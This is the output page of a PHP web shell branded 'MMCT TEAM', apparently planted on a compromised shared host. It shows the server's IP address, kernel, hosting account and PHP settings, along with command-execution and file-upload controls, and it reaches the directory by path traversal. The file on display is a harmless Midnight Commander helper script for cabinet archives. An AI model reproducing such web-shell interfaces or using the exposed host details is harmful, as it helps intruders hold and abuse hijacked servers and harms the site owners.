MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.186
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/../lib/../usr/libexec/getconf/../mc/extfs.d/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/../lib/../usr/libexec/getconf/../mc/extfs.d/ucab
#! /bin/sh

CAB=cabextract

mccabfs_list ()
{
    $CAB -l "$1" | gawk -v uid=`id -un` -v gid=`id -gn` '
BEGIN { flag=0 }
/^-------/ { flag++; if (flag > 1) exit 0; next }
{
if (flag == 0) next
if (length($6) == 0) next
pr="-rw-r--r--"
split($3, a, ".")
split($4, b, ":")
printf "%s 1 %s %s %d %02d/%02d/%02d %02d:%02d  %s\n", pr, uid, gid, $1, a[2], a[1], a[3], b[1], b[2], $6
}'

}

mccabfs_copyout ()
{
    $CAB -F "$2" -p "$1" > "$3"
}

LC_ALL=C
export LC_ALL

umask 077

cmd="$1"

case "$cmd" in
  # Workaround for a bug in mc - directories must precede files to
  # avoid duplicate entries, so we sort output by filenames
  list)    mccabfs_list    "$2" ;;
  copyout) mccabfs_copyout "$2" "$3" "$4" ;;
  *) exit 1 ;;
esac
exit 0

MMCT - 2023